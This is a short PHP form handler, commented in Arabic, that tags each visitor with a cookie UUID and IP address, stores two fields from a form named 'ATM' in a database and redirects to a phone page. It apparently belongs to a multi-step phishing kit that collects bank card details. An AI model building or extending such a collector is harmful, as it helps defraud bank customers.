<?php
// بدء الجلسة
session_start();

require_once 'db_connection.php'; // تأكد من أن هذا الملف يحتوي على إعدادات قاعدة البيانات


// تنظيف البيانات المدخلة
function clean_input($data) {
    return htmlspecialchars(stripslashes(trim($data)));
}

// توليد UUID
function generate_uuid() {
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

// الحصول على عنوان الـ IP
function get_client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// تحقق من وجود UUID في الكوكيز، إذا لم يكن موجودًا، قم بإنشائه وتخزينه
if (!isset($_COOKIE['unique_id'])) {
    $unique_id = generate_uuid();
    setcookie('unique_id', $unique_id, time() + (86400 * 30), "/", "", true, true); // صالح لمدة 30 يومًا
} else {
    $unique_id = $_COOKIE['unique_id'];
}

// الحصول على عنوان الـ IP
$ip = get_client_ip();

// استلام البيانات من الفورم وتنظيفها
$id = isset($_POST['id']) ? clean_input($_POST['id']) : '';
$ata = isset($_POST['ata']) ? clean_input($_POST['ata']) : '';  // تم استخدام $ata هنا كما في الفورم

// تحديد اسم النموذج
$form_name = "ATM";  // استبدال "phone_form" باسم النموذج الحالي

// استعلام محضر لإدخال البيانات في الجدول
$stmt = $conn->prepare("INSERT INTO `at` (unique_id, form_name, id, ata, ip, uuid) VALUES (?, ?, ?, ?, ?, ?)");
$uuid = $unique_id;  // استخدام unique_id كـ uuid أيضًا
$stmt->bind_param("ssssss", $unique_id, $form_name, $id, $ata, $ip, $uuid);

// تنفيذ الاستعلام
if ($stmt->execute()) {
    // تحويل الزائر إلى صفحة تأكيد
    header("Location: ../../phone.html"); // تأكد من أن الصفحة موجودة
    exit; // تأكد من أنه لا يتم تنفيذ أي كود بعد إعادة التوجيه
} else {
    echo "خطأ في الإدخال: " . $stmt->error;
}

// إغلاق الاتصال
$stmt->close();
$conn->close();
?>
